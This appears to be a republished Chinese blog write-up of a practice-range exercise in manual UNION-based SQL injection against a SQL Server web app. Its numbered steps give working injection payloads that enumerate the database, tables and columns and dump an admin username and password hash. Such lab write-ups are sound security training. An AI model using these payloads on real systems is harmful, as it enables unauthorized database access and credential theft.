墨者靶场SQL手工注入漏洞测试(Sql Server数据库)

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了墨者靶场SQL手工注入漏洞测试(Sql Server数据库)相关的知识,希望对你有一定的参考价值。

Mssql

关于SqlServer

MSSQL显错注入和mysql不太一样:

联合查询,记住要写UNION ALL

然后猜输出点要使用NULL去填充

注释只有-- +

进入环境:

1.寻找注入点:
?id=1		//报错
?id=2		//正常

2.查询字段数:
4个字段
?id=2 and 1=1 order by 4	//正常
?id=2 and 1=1 order by 5	//报错

3.查询输出点:
?id=2 and 1=2 union all select 1,2,3,4		//报错				这里的3应该与其他位上的数值类型不同,尝试用null
?id=2 and 1=2 union all select 1,2,null,4	//正常

3改用字符串类型,再次尝试
?id=2 and 1=2 union all select 1,2,'3',4	

4.查询库名:
?id=2 and 1=2 union all select 1,db_name(),'3',4		//库名:mozhe_db_v2

5.查询表:
?id=2 and 1=2  union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4		//查出表名:manage
dbo.sysobjects	系统自带库		xtype='U'	是指用户创建的表

6.查询字段:
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4		//id
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4		//username
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4		//password

7.查询数据:
?id=2 and 1=2 union all select 1,(select username from manage),'3',4			//username:	admin_mz
?id=2 and 1=2 union all select 1,(select password from manage),'3',4			//password: 72e1bfc3f01b7583
也可以这样写:
?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

MD5解码,进入后台拿到key值:

以上是关于墨者靶场SQL手工注入漏洞测试(Sql Server数据库)的主要内容,如果未能解决你的问题,请参考以下文章

墨者靶场SQL手工注入漏洞测试(Sql Server数据库)

墨者靶场SQL手工注入漏洞测试(Sql Server数据库)

墨者靶场 SQL手工注入漏洞测试(MySQL数据库-字符型)

墨者靶场 SQL手工注入漏洞测试(MySQL数据库-字符型)

零基础学习MYSQL高版本手工联合注入(墨者靶场)

墨者靶场 SQL注入漏洞测试(布尔盲注)